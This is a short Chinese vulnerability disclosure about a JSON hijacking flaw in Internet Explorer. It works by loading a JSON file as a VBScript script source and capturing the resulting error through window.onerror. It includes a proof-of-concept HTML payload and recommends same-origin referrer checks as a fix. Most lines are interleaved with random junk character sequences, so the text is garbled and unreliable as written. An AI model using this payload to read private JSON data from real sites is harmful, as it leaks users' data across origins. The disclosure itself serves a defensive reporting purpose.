简要描述:2 b$ i0 M0 } V
1 b' S* [" b' i& W& t
由于某些资源容器对数据处理不当导致json劫持漏洞.' _% o. s2 M) @* ]9 q5 o" n: t
详细说明:
8 h- M) k5 e" O4 m由于ie支持vbscript,所以script元素可以指定成vbscript语言:
( r2 G% y$ b0 W9 M<script language=vbscript></script>
" n0 N6 k; i, _! _5 g 0 Q( x3 Q* S# T8 Z6 y; \! n
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.7 n) i+ i/ C, o( S
漏洞证明:2 P7 `! ], b1 ?& _7 C$ i6 j/ v
<script>
c, e a8 f6 @window.onerror=function(_){, n0 \: |3 a5 m( x
alert(_)
/ H* n" b' h. e6 G1 z& w}9 n8 [; h9 U5 n/ s) V! |8 z
</script>
. [+ N$ Z/ N7 R5 a0 F<script language=vbscript src=1.json></script>' a6 Y9 P' K {3 G, G1 k* l3 q
- r W1 y( t( ]4 h1 I0 K ?# o" N o
9 y0 A. M+ A' X/ [- A/ _1.json:' V7 L! @3 l6 o7 ?9 X
[{"name":"sogili","age":19}]
& e7 x4 M. O, H# H修复方案:
9 l" y3 i9 T' k% I8 ]- o. E) l网站业务对于这个问题可以通过验证referrer是否为同源来防御 |